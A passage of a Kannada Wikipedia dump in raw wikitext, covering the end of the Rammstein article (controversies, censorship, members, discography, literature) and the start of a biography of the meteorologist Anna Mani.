2006-07-10}}</ref>). ಕಥೆಯ ಹಕ್ಕನ್ನು ಪಡೆಯಬೇಕಾದ ಕಾನೂನು ಉಲ್ಲಂಗನೆ ಮಾಡಿದೆ ಎಂದು ವಾದ್ಯವೃಂದದ ವಿರುದ್ಧ ಜನವರಿ 2006 ರಲ್ಲಿ ಮೊಕ್ಕದ್ದಮೆಯನ್ನು ಹೂಡಿದನು. ಇದರ ಫಲಿತಾಂಶ ವಾದ್ಯವೃಂದ $5.5 ಮಿಲಿಯನ್ ನಷ್ಟು ನಷ್ಟ ಅನುಭವಿಸಬೇಕಾಯಿತು. ವಾದ್ಯವೃಂದದ ಪ್ರತಿಷ್ಠೆಯ ಬಗ್ಗೆ ಅದರ ಸದಸ್ಯರ ಅಭಿಪ್ರಾಯಗಳು: ಪಾಲ್ H. ಲ್ಯಾಂಡರ್ಸ್ ನ ಪ್ರಕಾರ "ನಾವು ಕೆಟ್ಟ ಅಭಿರುಚಿಯಲ್ಲಿರಲು ಇಷ್ಟ ಪಡುತ್ತೇವೆ". ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್ ನ ಪ್ರಕಾರ "ಈ ವಿವಾದಗಳು ನಿಷಿದ್ಧ ಫಲವನ್ನು ಕದಿಯುವಂತೆ ತಮಾಷೆಯಾಗಿವೆ ಎಂದು ಹೇಳಿದ್ದಾನೆ. ಆದರೆ ಇದು ಒಂದು ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದೆ. ಪ್ರೇಕ್ಷಕರು ನಮ್ಮ ಸಂಗೀತದ ಹೆಜ್ಜೆಯೊಡನೆ ಅವರು ಹೆಜ್ಜೆ ಹಾಕುವುದನ್ನು ನಾವು ಇಷ್ಟಪಡುತ್ತೇವೆ, ಆದರೆ ಜನರು ಹೆಚ್ಚು ಗ್ರಹಿಸುವಂತಾಗಿದ್ದಾರೆ ".<ref>{{cite news | title= [[The Times]] | accessdate = 2005-01-29 | publisher = [[The Times]] }} </ref> "[[ಮ್ಯಾನ್ ಗೆಗೆನ್ ಮ್ಯಾನ್]]" ("ಮ್ಯಾನ್ ಅಗೇನ್ ಸ್ಟ್ ಮ್ಯಾನ್") ಅವರ ಐದನೆಯ ಸ್ಟೂಡಿಯೋ ಆಲ್ಬಂ ಆದ ''ರೋಸೆನ್ ರೋಟ್'' ನ ವಿಡಿಯೊದಲ್ಲಿ ವಾದ್ಯವೃಂದದ ಬಹುಪಾಲು ಸದಸ್ಯರು ನಗ್ನವಾಗಿದ್ದ ಕಾರಣ ಈ ವಿಡಿಯೊ ಕೆಲವು ವಿವಾದವನ್ನು ಹುಟ್ಟುಹಾಕಿತ್ತು. ಪ್ರಮುಖ ಗಾಯಕ ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಉತ್ತಮವಾದದ್ದು ಎಂದು ತಿಳಿಸಲಾಗಿರುವ "[[ಲ್ಯಾಟೆಕ್ಸ್]] [[ಒಳ ಉಡುಪು]]" ತೊಟ್ಟಿದ್ದ. ಇದರ ಜೊತೆಗೆ ವಿಡಿಯೋದಲ್ಲಿ ಅನೇಕ ಜನರು ನಗ್ನವಾಗಿದ್ದರು. ವಿಡಿಯೊ ದಲ್ಲಿ ಸ್ಪಷ್ಟವಾಗಿ ನೋಡಬಹುದಾದ ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್ ನ [[ಜನನಾಂಗ]]ವು ಗಿಟಾರ್ ವಾದಕ(ರಿಚರ್ಡ್ Z. ಕ್ರುಸ್ಪೆ) ಕೈ ಕೆಳಭಾಗದಲ್ಲಿ ಮತ್ತು ಕೀಬೋರ್ಡ್ ನ ಕೆಳಭಾಗದಲ್ಲಿ 32 ನಿಮಿಷಗಳ ವರೆಗೆ ಕಾಣಿಸಿತು. ಇದನ್ನು ತಡೆಯಲು ಆತ ದೇಹದ ಬಣ್ಣದ ಹಾಗಿರುವ ಚರ್ಮದ ಪಟ್ಟಿಯನ್ನು ತೊಟ್ಟಿದ್ದನು. ಯುರೋಪ್ ನ MTV ಯಲ್ಲಿ ವಿಡಿಯೋವನ್ನು ಸೆನ್ಸಾರ್(ಪರಿಷ್ಕರಣೆ) ಮಾಡದೆ ಹಾಗೆಯೇ ಪ್ರದರ್ಶಿಸಲಾಯಿತು. ವಿಡಿಯೋಗೆ ಜರ್ಮನಿಯಲ್ಲಿ [[FSK]] 16 ಎಂಬ ವೀಕ್ಷಕರ ಪ್ರಮಾಣದ ದರವನ್ನು ನೀಡಲಾಯಿತು. ದೂರದರ್ಶನದಲ್ಲಿ ಕೇವಲ 10pm ಗಂಟೆಯ ಮೇಲೆ ಪ್ರದರ್ಶಿಸಬಹುದೆಂದು ಅನುಮತಿ ನೀಡಿತು. "[[ಪುಸಿ]]" ಆಲ್ಬಂ ಗೆ ವಿಡಿಯೋವನ್ನು ಸೆಪ್ಟೆಂಬರ್ 2009 ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಇದು ಹೆಂಗಸರು [[ನಗ್ನ]] ರಾಗಿದ್ದು ಮುಚ್ಚು ಮರೆ ಇಲ್ಲದೆ ಲೈಂಗಿಕ ಕ್ರಿಯೆಯಲ್ಲಿ ತೊಡಗಿರುವ ಗ್ರಾಫಿಕ್ ದೃಶ್ಯಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು.<ref>{{cite web | title = Rammstein's Pussy Released In Mucky Vid | publisher = The Quietus | date = 2009-09-17 | url = http://mp-3.net.ua/mysik/rock/930-rammstein-pussy.html | accessdate = 2009-09-17 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> === ''ಸೂಚಿ'' ಯಲ್ಲಿ ಸ್ಥಾನ === ನವೆಂಬರ್ 5, 2009ರಲ್ಲಿ, ಅವರ ಆರನೆಯ ಸ್ಟೂಡಿಯೋ ಆಲ್ಬಂ ಆದ ''[[ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲ್ಲೆ ಡ]]'' ಕ್ಕೆ [[ಬುನ್ ಡೆಸ್ ಪ್ರುಫ್ಸ್ಟೆಲ್ಲೆ ಫರ್ ಜುಗೆನ್ಡ್ಜ್ ಫರ್ ಡೆನ್ಡೆ ಮೆಡಿನ್]] ಅಥವಾ BPjM(ಫೆಡರಲ್ ಡಿಪಾರ್ಟ್ ಮೆಂಟ್ ಫಾರ್ ಮೀಡಿಯ ಹಾರ್ಮ್ ಫುಲ್ ಟು ಯಂಗ್ ಪರ್ಸನ್ಸ್) ನ ''ಸೂಚಿ'' ಯಲ್ಲಿ ಸ್ಥಾನ ನೀಡಲಾಯಿತು. ಇದನ್ನು ಜರ್ಮನಿಯಲ್ಲಿ ಇನ್ನೂ ವಯಸ್ಕರಾಗಿಲ್ಲದವರಿಗೆ ಕಾನೂನು ಬಾಹಿರವೆಂದು ಹೇಳಿ ಇದರ ಪ್ರದರ್ಶನವನ್ನು ಎಲ್ಲಾ ಮಳಿಗೆಗಳಲ್ಲಿ ನಿಷೇಧಿಸಲಾಯಿತು.<ref>http://www.facebook.com/Rammstein?v=feed&amp;story_fbid=192292340906 ಸ್ಟೆಂಟ್ ಮೆಂಟ್ ಆಫ್ ದಿ ಬ್ಯಾಂಡ್ ಆನ್ ಫೇಸ್ ಬುಕ್</ref><ref>http://schnittberichte.com/news.php?ID=1693 report on Schnittberichte.com</ref> BPjM ನ ಅಧಿಕಾರಿಗಳ ಹೇಳಿಕೆಯ ಪ್ರಕಾರ , ಪ್ರಮುಖ ಗಿಟಾರ್ ವಾದಕ ರಿಚರ್ಡ್ ಕ್ರುಸ್ಪೆ ಮಂಡಿಯವರೆಗೆ ಮಾತ್ರ ಬಟ್ಟೆಯನ್ನು ತೊಟ್ಟಿರುವ ದಢೂತಿ ಹುಡುಗಿಯನ್ನು ಹೊಡೆಯಲು ಕೈ ಎತ್ತಿದಂತೆ ಚಿತ್ರಿಸಲಾಗಿರುವುದು ಅಪರಾಧಕ್ಕೆ ಎಡೆಮಾಡಿಕೊಟ್ಟಿತು. ಆಲ್ಲದೇ "ಇಚ್ ಟು ಡಿರ್ ವ್ಯೆ" ನ ಸಾಹಿತ್ಯ ನಾವು ಅಂದುಕೊಂಡಂತೆ [[BDSM]] ನ ವಿಧಾನಗಳನ್ನು ಪ್ರಸಾರಮಾಡುವ ಅಪಾಯವಿದೆ, ಎಂದು ಆರೋಪಿಸಿದರು . ಇದನ್ನು ಪ್ರೋತ್ಸಾಹಿಸುವಂತೆ ಸಲಹಾ ಸಮಿತಿಯು "ಪುಸಿ" ಯ ಸಾಹಿತ್ಯದಲ್ಲಿನ ಅಸುರಕ್ಷಿತ ಲೈಂಗಿಕ ಕ್ರಿಯೆಗಳ ಮುಂದುವರಿಕೆಯನ್ನು ಅಪರಾಧವಾಗಿ ಪರಿಗಣಿಸಿತು. ವಾದ್ಯವೃಂದದ ಹಾಗು ಜರ್ಮನ್ ಪತ್ರಿಕೆಯ ಸದಸ್ಯರೆಲ್ಲರೂ ಈ ನಿರ್ಧಾರದಿಂದ ಆಶ್ಚರ್ಯಚಕಿತರಾದರು. ಕೀಬೋರ್ಡ್ ವಾದಕ ಕ್ರಿಶ್ಚಿನ್ ಲಾರೆನ್ಜ್ ಸಲಹಾ ಸಮಿತಿಯ "ಕಲೆಯ ಬಗ್ಗೆ ಸಂಕುಚಿತ ಮನೋಭಾವನೆ"ಯ ಬಗ್ಗೆ ಆಶ್ಚರ್ಯಚಕಿತನಾದ.ಅಲ್ಲದೇ ಅದನ್ನು ಗುರುತಿಸಲು ಅವರು ಅಸಮರ್ಥರಾಗಿರುವರಲ್ಲ ಎಂದು ಪಶ್ಚಾತ್ತಾಪ ಪಟ್ಟ.<ref>http://www.sueddeutsche.de/kultur/469/493812/text/ ''Liebe ist nicht für alle da'' on sueddeutsche.de</ref><ref>http://www.laut.de/vorlaut/news/2009/11/11/23636/index.htm '''' Rammstein-Zensur: Mit Fleischgewehren auf Spatzen on laut.de</ref> ''[[ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲ್ಲೆ ಡ]]'' ವನ್ನು ತೆಗೆದು ಹಾಕಲಾಗಿರುವ ಆವೃತ್ತಿಯನ್ನು 2009ರ ನವೆಂಬರ್ 16 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. [[ಬೆಲರುಸ್]] ನಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಗಾನಗೋಷ್ಠಿಗಳನ್ನು ನಡೆಸದಂತೆ ನಿಷೇಧಿಸಲಾಯಿತು. ಅಲ್ಲದೇ ಹಿಂದೆ ನಮೂದಿಸಲಾದ ಆಲ್ಬಂ ಅನ್ನು ಆ ದೇಶದಲ್ಲಿ ಮಾರಾಟ ಮಾಡದಂತೆ ಹಿಂದಕ್ಕೆ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು. == ವಾದ್ಯತಂಡದ ಸದಸ್ಯರು == * [[ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್]] - [[ಪ್ರಧಾನ ಗಾಯಕ]] * [[ರಿಚರ್ಡ್ Z. ಕ್ರೂಸ್ ಪೆ]] - [[ಗಿಟಾರ್ ನುಡಿಸುವರಲ್ಲಿ ಪ್ರಮುಖ]] , [[ಹೆಮ್ಮೇಳ]] * ಪಾಲ್ [[H. ಲ್ಯಾಂಡರ್ಸ್]] - [[ಗಿಟಾರ್ ಅನ್ನು ಲಯಬದ್ದವಾಗಿ ನುಡಿಸುವವ]] , ಹಿಮ್ಮೇಳ * [[ಆಲಿವರ್ "ಆಲಿ" ರಿಡಲ್]] - [[ಗಿಟಾರ್ ನ ಮಾಲೀಕ]], ಸಾಂದರ್ಭಿಕ ಹಿಮ್ಮೇಳ * ಕ್ರಿಸ್ಟಾಫ್ [["ಡೂಮ್" ಸ್ನೈಡರ್]] - [[ಡ್ರಮ್ ಗಳು]], ಎಲೆಕ್ಟ್ರಾನಿನ [[ತಾಳವಾದ್ಯ]] * [[ಕ್ರಿಸ್ಟೀನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್]] - [[ಕೀ ಬೊರ್ಡ್ಸ್]], [[ಮಾದರಿ]], on "ಪೆಟ್ ಸೆಮೆಟ್ರಿ" ಮೇಲೆ [[ಸಂಗೀತ]] == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == {{Main|Rammstein discography}} * ''[[ಹರ್ಜಲೈಡ್]]'' (1995) * ''[[ಸೆನ್ ಸುಚ್ಟ್]]'' (1997) * ''[[ಮುಟ್ಟರ್]]'' (2001) * ''[[ರೇಸೆ, ರೇಸೆ]]'' (2004) * ''[[ರೋಸೆನ್ ರೋಟ್]]'' (2005) * ''[[ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲ್ಲೆ ಡ]]'' (2009) == ಆಕರಗಳು == {{Reflist|2}} === ಸಾಹಿತ್ಯ === * [[ಬ್ಯಾರಿ ಗ್ರೇವ್ಸ್]] , [[ಸೀಗ್ ಫ್ರೈಡ್ ಸ್ಮಿಚ್ಡ್-ಜೋಸ್]], [[ಬರ್ನ್ ವಾರ್ಡ್ ಹ್ಯಾಲ್ಬ್ ಶೆಫಲ್]]: ''ದಾಸ್ ನಿಯೋ ರಾಕ್-ಲೆಕ್ಸಿಕಾನ್.'' Bd 1. ರೋವಾಲ್ಟ್, ರೇನ್ ಬೆಕ್ ಬೀ ಹ್ಯಾಮ್ ಬರ್ಗ್ 1998. ISBN 0-471-80580-7. * ಬ್ಯಾರಿ ಗ್ರೇವ್ಸ್, ಸೀಗ್ ಫ್ರೈಡ್ ಸ್ಮಿಚ್ಡ್-ಜೋಸ್, ಬರ್ ನಾರ್ಡ್ ಹ್ಯಾಲ್ಬ್ ಶೆಫಲ್: ''ದಾಸ್ ನ್ಯೂ ರಾಕ್-ಲೆಕ್ಸಿಕಾನ್.'' Bd 2. ರೋವಾಲ್ಟ್, ರೇನ್ ಬೆಕ್ ಬೀ ಹ್ಯಾಮ್ ಬರ್ಗ್ 1998. ISBN 0-7922-7391-5. * ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌: ''ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌&nbsp;– ಲಿಡರ್ ಬುಚ್'' . ಹಾಲ್ ಲಿಯೊನಾರ್ಡ್ ಕಾರ್ಪೋರೆಷನ್ , ಲಂಡನ್ 1999. ISBN 0-913580-99-6. * ಮಾರ್ಟಿನ ಲ್ಯುಕ್: ''ಮಾರ್ಡರ್ನ್ ಕ್ಲಾಸಿಕ್ಸ್ : ರಿಫ್ಲೆಕ್ಷನ್ಸ್ ಆನ್ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಇನ್ ದಿ ಜರ್ಮನ್ ಕ್ಲಾಸ್'' . ಇನ್: ಡೈ ಅನ್ ಟರ್ ರಿಚ್ಟ್ ಸ್ಪರ್ಯಾಕ್ಸೆಸ್ /ಟೀಚಿಂಗ್ ಜರ್ಮನ್ 41:1 (ಸ್ಪ್ರಿಂಗ್ 2008): 15-23. * ವುಲ್ಫ್-ರುಡಿಗರ್ ಮುಲ್ ಮ್ಯಾನ್: ''ಲೆಡ್ಜ್ ಆಸ್ ಫಾರ್ಟ್ – ಜರ್ಮ್ಯಾನಿಯ. '' ''ಯಿನ್ ಫೆನೋಮೆನ್ ನ್ಯಾಮೆನ್ಸ್ ನ್ಯೂ ಡಚ್ ಹಾರ್ಟ್'' . I.P. ವರ್ಲ್ಯಾಗ್, ಬರ್ಲಿನ್ 1999, ISBN 3-931624-12-9 * [[ಗರ್ಟ್ ಹಾಫ್]]: ''ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌'' . ಡೈ ಗೆಸ್ಟಾಲ್ ಟೆನ್ ವರ್ಲ್ಯಾಗ್, ಬರ್ಲಿನ್ 2001, ISBN 3-931126-32-೩ * ಮ್ಯಾಥಿಯಾಸ್ ಮ್ಯಾಥೀಸ್: ''ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌&nbsp;– ಡಚ್ ಲ್ಯಾಂಡ್ ಟೂರ್2001.'' ಬರ್ಲಿನ್ 2002. * ಆಂಡ್ರಿಯಾಸ್ ಸ್ಪೀಟ್: ''ಆಸ್ಥಟೀಶ್ ಮೋಬಿಲ್ ಮ್ಯಾಕ್ ಹುಂಗ್&nbsp;– ಡಾರ್ಕ್ ವೇವ್ , ನಿಯೋಫೋಕ್ ಅಂಡ್ ಇಂಡಸ್ಟ್ರಿಯಲ್ ಇಮ್ ಸ್ಫ್ಯಾನುಂಗ್ಸ್ ಫ್ಯೇಲ್ಡ್ ರೆಕ್ಟರ್ ಐಡಿಯೋಲಜೀನ್.'' , ಅನ್ ರಾಸ್ಟ್ 2001. ISBN 0-8423-5115-9. * ಮೈಕೆಲ್ ಬೆಟ್ಟೈನ್ ಡ್ರಾಫ್: ''ಉರ್ ಸ್ಪ್ರಂಗ್ ಪಂಕ್ ಜೀನ್. '' ''ಆಡರ್ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಹಾಟೇ ಎಸ್ ಇಮ್ ವೆಸ್ಟೆನ್ ನೈ ಗೆಗೆಬೆನ್'' . ಬುಕ್ಸ್ ಆನ್ ಡಿಮ್ಯಾಂಡ್ GmbH, 2002. ISBN 0-380-81402-1. * ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಅಂಡ್ [[ಗರ್ಟ್ ಹಾಫ್]]: ''ಮೆಸರ್'' . ಐಕ್ ಬಾರ್ನ್,ಫ್ರ್ಯಾಂಕ್ ಫರ್ಟ್ M 2002. ISBN 0-300-08939-2. * ರೋನಾಲ್ಡ್ ಗೆಲೆನ್ಜ್, ಹೀನ್ಜ್ ಹೇವ್ ಮೀಸ್ಟರ್: ''ಮಿಕ್ಸ್ ಮರ್ ಐನೆನ್ ಡ್ರಿಂಕ್. – ಫೀಲಿಂಗ್ B'' . ಸ್ವಾರ್ಜ್ ಕಾಫ್&nbsp; ಮತ್ತು ಸ್ವಾರ್ಜ್ ಕಾಫ್, ಬರ್ಲಿನ್ 2002. ISBN 0-7710-3036-3. * [[ಮೈಕೆಲ್ ಫುಕ್ಸ್-ಗ್ಯಾಮ್ ಬಾಕ್]] ಅಂಡ್ ತಾರ್ಸ್ಟೆನ್ ಶಟ್ಜ್: ''ಸ್ಪೀಲ್ ಮಿಟ್ ಡೆಮ್ ಫ್ಯೂವರ್ – ದಾಸ್ ಇನೊಫಿಸಿಲೇ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌-ಬುಚ್'' . ಹೀಲ್, ಕಾನಿಕ್ಸ್ ವಿಂಟರ್ 2006. ISBN 0-8247-9755-8. * [[ಫ್ರೆಡ್ರಿಕ್ ಬ್ಯಾಟಿಯರ್]]: ''ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌&nbsp;– ವಾಲ್ಕರ್ ಬಾಲ್'' . 2006. ISBN 1-85619-278-4. == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{Commons}} {{Wikiquote}} * [http://www.Rammstein.de Official website] {{De icon}} * [http://www.rammstein.de/blog/lang/en/ Official website] {{En icon}} {{Rammstein}} '''''' [[ವರ್ಗ:1990ರ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:2000ದ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಬರ್ಲಿನ್ ನಿಂದ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಜರ್ಮನ್‌‌ನ ಹೆವಿ ಮೆಟಲ್‌ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಜರ್ಮನ್ ರಾಕ್ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಔದ್ಯೋಗಿಕ ರಾಕ್ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಔದ್ಯೋಗಿಕ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:ಇಸವಿ 1968ರಲ್ಲಿ ರಚಿಸಲಾದ ಸಂಗೀತ ಸಮೂಹಗಳು]] [[ವರ್ಗ:ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌]] [[ವರ್ಗ:ಸಂಗೀತದ ಷಟ್ಕಗಳು]] [[ವರ್ಗ:ಗಣರಾಜ್ಯ ದಾಖಲೆಯ ಕಲಾವಿದರು]] [[ವರ್ಗ:ಜರ್ಮನ್ ಔದ್ಯೋಗಿಕ ಸಂಗೀತ ತಂಡಗಳು]] [[ವರ್ಗ:MTV ಯುರೋಪ್ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು.]] [[ವರ್ಗ:ಕೆರ್ರಾಂಗ್‌! ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ವಿಶ್ವ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು.]] [[ವರ್ಗ:ಸಂಗೀತ]] 02lnz74py6oovis0ei4l0jafne0tvhr ಅನ್ನಾ ಮಣಿ 0 50939 1116556 1084648 2022-08-24T03:20:59Z 223.186.114.140 /* ಶಿಕ್ಷಣ */ ವ್ಯಾಕರಣ ತಿದ್ದಿದೆ wikitext text/x-wiki {{Infobox scientist |name = ಅನ್ನಾ ಮಾಣಿ <br/>അന്ന മാണി |image = |caption = |birth_date = ೨೩ ಅಗಸ್ಟ್ ೧೯೧೮ |birth_place = ಪಿರುಮೇಡು, [[ಕೇರಳ]] |death_date = |death_place = [[ತಿರುವನಂತಪುರಮ್]], [[ಕೇರಳ]] |residence = |nationality = [[ಭಾರತೀಯ]] |field = ಪವನ ವಿಜ್ಞಾನ, [[ಭೌತಶಾಸ್ತ್ರ ]] |work_institution = ಭಾರತೀಯ ಪವನ ವಿಜ್ಞಾನ ಇಲಾಖೆ, [[ಪುಣೆ ]] |alma_mater = |doctoral_advisor = |doctoral_students = |known_for = |prizes = |religion = ಕ್ರಿಶ್ಚಿಯನ್ |footnotes = }} '''ಅನ್ನಾಮಣಿ''' ಯವರು (೨೩ ಆಗಸ್ಟ್ ೧೯೧೮- ೧೬ ಆಗಸ್ಟ್ ೨೦೦೧) ಒಬ್ಬ ಭಾರತೀಯ ಮಹಿಳಾ ಭೌತವಿಜ್ಞಾನಿ ಹಾಗು ಪವನಶಾಸ್ತ್ರ ವಿಜ್ಞಾನಿ. <ref name="hindu">{{cite news|last=Sur|first=Abha|title=The Life and Times of a Pioneer|url=http://hindu.com/2001/10/14/stories/1314078b.htm|accessdate=7 October 2012|newspaper=The Hindu|date=14 October 2001}}</ref> ಇವರು ಭಾರತೀಯ ಪವನ ವಿಜ್ಞಾನದ ಸಂಶೋಧನೆಯಲ್ಲಿ ಮಹತ್ವದ ಕಾಣಿಕೆಯನ್ನ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಅನ್ನಾ ಮಣಿಯವರು [[ಓಝೋನ್ ಪದರ|ಒಝೊನ್]], ಪವನ ಶಕ್ತಿಯ ಕುರಿತಾಗಿ ಅನೇಕ ಸಂಶೋಧನಾ ಲೇಖನಗಳನ್ನು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. <ref name=lilavati>{{cite book|last=Sur|first=Abha|title=Lilavati's daughters: The women scientists of India|year=2007|publisher=Indian Academy of Science|pages=23-25|url=http://www.ias.ac.in/womeninscience/liladaug.html}}</ref> ==ಜೀವನ == ಅನ್ನಾ ಮಣಿಯವರು [[ಕೇರಳ]] ಪೀರುಮೆಡು ಎಂಬಲ್ಲಿ ಜನಿಸಿದರು. <ref name=insa>{{cite web|last=Gupta|first=Aravind|title=Anna Mani|url=http://www.arvindguptatoys.com/arvindgupta/bs30annamani.pdf|work=Platinum Jubilee Publishing of INSA|publisher=Indian National science academy|accessdate=7 October 2012}}</ref> ಇವರ ತಂದೆ ಸಿವಿಲ್ ಇಂಜಿನೀಯರ್. ಒಟ್ಟು ಎಂಟು ಜನ ಮಕ್ಕಳಲ್ಲಿ ಅನ್ನಾ ಮಣಿಯವರು ಏಳನೇಯವರು. ಚಿಕ್ಕಂದಿನಿಂದಲೂ ಅವರು ತೀವ್ರ ತರದ ಓದುಗರಾಗಿದ್ದರು. ಮಹಾತ್ಮಾ ಗಾಂಧೀಜಿಯವರಿಂದ ತುಂಬಾ ಪ್ರಭಾವಿತರಾಗಿದ್ದ ಇವರು, ಬರೀ ಖಾದಿಯನ್ನೇ ತೊಡುತ್ತಿದ್ದರು. ಇವರಿಗೆ ವೈದ್ಯ ವಿಜ್ಞಾನ ಓದುವ ಹಂಬಲವಿತ್ತು, ಆದರೆ ತದನಂತರ ಅವರ ಮನಸ್ಸು ಭೌತವಿಜ್ಞಾನದತ್ತ ಹರಿಯಿತು. ೧೯೩೯ ರಲ್ಲಿ ಮದ್ರಾಸಿನ ಪ್ರೆಸಿಡೆನ್ಸಿ ಕಾಲೇಜ್‌ನಿಂದ ಬಿ.ಎಸ್ಸಿ ಭೌತ ಹಾಗು ರಸಾಯನ ಶಾಸ್ತ್ರದಲ್ಲಿ ಪದವಿಯನ್ನು ಪಡೆದರು.<ref name=insa/> ==ಶಿಕ್ಷಣ== ಅನ್ನಾಮಣಿ ನೃತ್ಯವನ್ನು ಮತ್ತು ಭೌತಶಾಸ್ತ್ರ ಅಧ್ಯಯನಕ್ಕೆ ನಿರ್ಧರಿಸಿ, ೧೯೩೯ ರಲ್ಲಿ, ಅವರು ಮದ್ರಾಸ್‌ನ ಪಚೈಯಪ್ಪಾಸ್ ಕಾಲೇಜಿನಿಂದ ಭೌತಶಾಸ್ತ್ರ ಮತ್ತು ರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಿ ಬಿ.ಎಸ್ಸಿ ಆನರ್ಸ್ ಪದವಿ ಪಡೆದರು. ೧೯೪೦ ರಲ್ಲಿ, ಅವರು ಬೆಂಗಳೂರಿನ ಭಾರತೀಯ ವಿಜ್ಞಾನ ಮಂದಿರದಲ್ಲಿ ಸಂಶೋಧನೆಗಾಗಿ ವಿದ್ಯಾರ್ಥಿವೇತನವನ್ನು ಪಡೆದರು. ೧೯೪೫ ರಲ್ಲಿ ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ಪದವಿ ಅಧ್ಯಯನಕ್ಕಾಗಿ ಲಂಡನ್‌ನ ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜಿಗೆ ತೆರಳಿ, ಹವಾಮಾನ ಸಾಧನಗಳಲ್ಲಿ ಪರಿಣತಿಯನ್ನು ಪಡೆದರು. ==ವೃತ್ತಿಜೀವನ== ಪಚೈ ಕಾಲೇಜಿನಿಂದ ಪದವಿ ಪಡೆದ ನಂತರ, ಅವರು ಪ್ರೊ. ಸೊಲೊಮನ್ ಪಪ್ಪಯ್ಯ ಅವರ ಅಡಿಯಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದರು, ಮಾಣಿಕ್ಯ ಮತ್ತು ವಜ್ರದ ಆಪ್ಟಿಕಲ್ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಸಂಶೋಧಿಸಿದರು.<ref>{{cite web |title=Women in Science {{!}} Initiatives {{!}} Indian Academy of Sciences |url=https://www.ias.ac.in/womeninscience/liladaug.html |website=www.ias.ac.in |accessdate=20 March 2020}}</ref> ಪದವಿ ಪಡೆದ ನಂತರ ಅವರು ಪ್ರೋ. [[ಸಿ.ವಿ.ರಾಮನ್]] ರವರ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದರು.ಇವರು ವಜ್ರ ಮತ್ತು ಮಾಣಿಕ್ಯಗಳ ಬೆಳಕನ್ನು ಚದುರಿಸುವ ಗುಣಗಳ ಬಗ್ಗೆ ಅಧ್ಯಯನ ನಡೆಸಿದರು.<ref name=lilavati/> ಐದು ಸಂಶೋಧನಾ ಲೇಖನಗಳನ್ನು ಪ್ರಕಟಿಸಿದರು ಇವರಿಗೆ ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ಸ್ನಾತಕೋತ್ತರ ಪದವಿಯಿಲ್ಲದ ಕಾರಣ ಪಿಎಚ್ಡಿ ದೊರೆಯಲಿಲ್ಲ. ಮುಂದೆ ಭೌತಶಾಸ್ತ್ರದ ಅಧ್ಯಯನಕ್ಕಾಗಿ ಬ್ರಿಟನ್ ತೆರಳಿದರು, ಆದರೆ ಅಲ್ಲಿ ಅವರು ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜ್ [[ಲಂಡನ್]]ನಲ್ಲಿ ಪವನಶಸ್ತ್ರವನ್ನು ಅಭ್ಯಾಸ ಮಾಡಿದರು. <ref name=insa/> ೧೯೪೮ ರಲ್ಲಿ ಭಾರತಕ್ಕೆ ವಾಪಸ್ಸಾದ ನಂತರ ಅವರು [[ಪುಣೆ]]ಯ ಪವನಶಾಸ್ತ್ರ ಇಲಾಖೆಯಲ್ಲಿ ಕೆಲಸ ಮಾಡತೊಡಗಿದರು. ಇವರು ಪವನ ಶಾಸ್ತ್ರದ ಬಗ್ಗೆ ಅನೇಕ ಪುಸ್ತಕಗಳನ್ನು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. <ref name=lilavati/> ಇವರ ಪ್ರತಿಭೆಯ ಸಂಕೇತವಾಗಿ ೧೯೮೭ ರಲ್ಲಿ ಕೆ. ಆರ್. ರಾಮನಾಥನ್ ಮೆಡಲನ್ನು ತಮ್ಮದಾಗಿಸಿಕೊಂಡಿದ್ದಾರೆ. <ref name=insa/> ೧೯೯೪ ರಲ್ಲಿ ಹೃದಯ 